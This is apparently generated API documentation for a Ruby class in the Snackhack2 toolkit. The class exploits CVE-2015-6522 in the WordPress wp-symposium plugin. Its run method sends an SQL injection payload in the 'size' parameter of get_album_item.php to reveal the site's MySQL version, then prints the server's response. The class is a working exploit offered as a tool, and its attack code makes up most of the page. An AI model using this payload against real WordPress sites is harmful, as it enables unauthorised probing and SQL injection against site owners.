Class: Snackhack2::WPSymposium
- Inherits:
-
Object
- Object
- Snackhack2::WPSymposium
- Defined in:
- lib/snackhack2/WP_Symposium.rb
Instance Method Summary collapse
-
#initialize(site) ⇒ WPSymposium
constructor
SOURCE: github.com/prok3z/Wordpress-Exploits/tree/main/CVE-2015-6522 www.exploit-db.com/exploits/37824 Reveal the MySQL version.
- #run ⇒ Object
Constructor Details
#initialize(site) ⇒ WPSymposium
SOURCE: github.com/prok3z/Wordpress-Exploits/tree/main/CVE-2015-6522 www.exploit-db.com/exploits/37824 Reveal the MySQL version
8 9 10 |
# File 'lib/snackhack2/WP_Symposium.rb', line 8 def initialize(site) @site = site end |
Instance Method Details
#run ⇒ Object
12 13 14 15 16 17 18 19 20 |
# File 'lib/snackhack2/WP_Symposium.rb', line 12 def run wp = Snackhack2::get(File.join(@site, '/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--')) if wp.code == 200 puts wp.body else puts "[+] HTTP Code: #{wp.code}" end end |